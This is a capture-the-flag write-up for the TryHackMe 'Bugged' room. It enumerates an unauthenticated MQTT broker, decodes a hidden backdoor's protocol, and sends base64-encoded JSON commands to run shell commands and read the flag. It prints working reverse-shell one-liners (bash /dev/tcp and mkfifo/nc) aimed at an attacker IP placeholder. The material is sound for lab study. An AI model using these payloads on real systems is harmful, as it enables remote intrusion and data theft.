Skip to main content

Command Palette

Search for a command to run...

TryHackMe : Bugged - Writeup

Updated
•5 min read•View as Markdown
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

Overview

Bugged is an easy TryHackMe box built around an MQTT broker (Mosquitto) that allows anonymous connections. The broker exposes normal-looking IoT device telemetry alongside a hidden backdoor that accepts base64-encoded JSON commands over a dedicated pub/sub topic pair. The path to the flag is pure protocol enumeration - no exploit, no CVE, just reading what the broker gives you and talking back to it correctly.

Recon

Started with a standard nmap scan against the target:

nmap -A -Pn <MACHINE_IP> -o nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)

Only SSH showed up on the default top-1000 scan, so I re-ran a full port scan:

nmap -A -p- <MACHINE_IP> -o nmap
PORT     STATE SERVICE                  VERSION
22/tcp   open  ssh                      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
1883/tcp open  mosquitto version 2.0.14

Port 1883 is the default Mosquitto MQTT broker port. Nmap's mqtt-subscribe NSE script fired automatically and pulled live topic payloads with zero authentication:

| mqtt-subscribe:
|   Topics and their most recent payloads:
|     patio/lights: {"id":9998114626078018681,"color":"RED","status":"ON"}
|     livingroom/speaker: {"id":12601305813556976146,"gain":46}
|     storage/thermostat: {"id":7294984710367304884,"temperature":23.320595}

Anonymous read access being possible from an NSE script during a plain nmap scan is the first sign this broker has no auth enforced at all.

MQTT Enumeration

Subscribed to every topic on the broker to get the full picture:

mosquitto_sub -h <MACHINE_IP> -t '#' -v

This surfaced the expected IoT noise (patio/lights, livingroom/speaker, kitchen/toaster, storage/thermostat, frontdeck/camera) plus one topic that didn't fit the pattern - a random-looking topic name publishing a base64 blob:

yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==

Decoding it:

echo '<blob>' | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}

This is a backdoor config broadcast on a periodic interval, disclosing its own control topics and a unique id. It's effectively announcing itself to anyone listening to #.

Talking to the Backdoor

The backdoor listens on sub_topic and replies on pub_topic. Publishing a plain-text HELP command got rejected:

mosquitto_pub -h <MACHINE_IP> -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'HELP'

Reply (base64-decoded):

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Invalid message format.\nFormat: base64({\"id\": \"<backdoor id>\", \"cmd\": \"<command>\", \"arg\": \"<argument>\"})"}

So the protocol is: base64-encode a JSON object containing the backdoor's id, a cmd, and an arg. Built the correctly formatted HELP request:

echo -n '{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "HELP", "arg": ""}' | base64 -w0

Important detail: plain base64 without -w0 wraps output at 76 characters, which breaks the JSON when pasted into -m. Always use -w0 for a single-line payload with mosquitto_pub.

Published it and got the real help text back:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Message format:\n    Base64({\n        \"id\": \"<Backdoor ID>\",\n        \"cmd\": \"<Command>\",\n        \"arg\": \"<arg>\",\n    })\n\nCommands:\n    HELP: Display help message (takes no arg)\n    CMD: Run a shell command\n    SYS: Return system information (takes no arg)\n"}

CMD is arbitrary shell command execution.

Confirming Code Execution

echo -n '{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "CMD", "arg": "id"}' | base64 -w0
mosquitto_pub -h <MACHINE_IP> -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '<payload>'

Response:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)\n"}

Confirmed command execution as user challenge.

Reverse Shell Attempts (Blocked)

Tried the standard bash /dev/tcp reverse shell:

bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"

Response:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"bash: connect: Network is unreachable\nbash: line 1: /dev/tcp/<ATTACKER_IP>/4444: Network is unreachable\n"}

Tried a named-pipe / nc FIFO shell next:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> 9001 >/tmp/f

Response:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"rm: cannot remove '/tmp/f': No such file or directory\n/bin/sh: 1: nc: not found\n"}

nc isn't present on the box, and outbound TCP is unreachable regardless of technique - this points to egress filtering on the target combined with a minimal shell environment, not a routing issue on the attacker side (the target was already reachable for the initial nmap scan and MQTT traffic).

Pivoting: Skip the Shell, Use CMD Directly

Since CMD already gives arbitrary command execution, a reverse shell isn't actually required to solve the box - every command can be run one at a time through the existing MQTT channel. Went straight for the flag:

echo -n '{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "CMD", "arg": "cat flag.txt"}' | base64 -w0
mosquitto_pub -h <MACHINE_IP> -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '<payload>'

Response:

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag{REDACTED}\n"}

Flag

flag{REDACTED}

Takeaways

  • An MQTT broker with anonymous access is a full read/write channel into whatever is publishing on it - treat it like an unauthenticated API.

  • Periodic "config" broadcasts on unusual topic names are worth decoding on sight; this one handed over the entire backdoor protocol for free.

  • Don't assume a reverse shell is required just because it's the default move - if the access you already have (CMD here) can run any command, it can also just retrieve the flag directly.

  • Always use base64 -w0 when building single-line payloads for tools like mosquitto_pub - default line wrapping silently breaks JSON.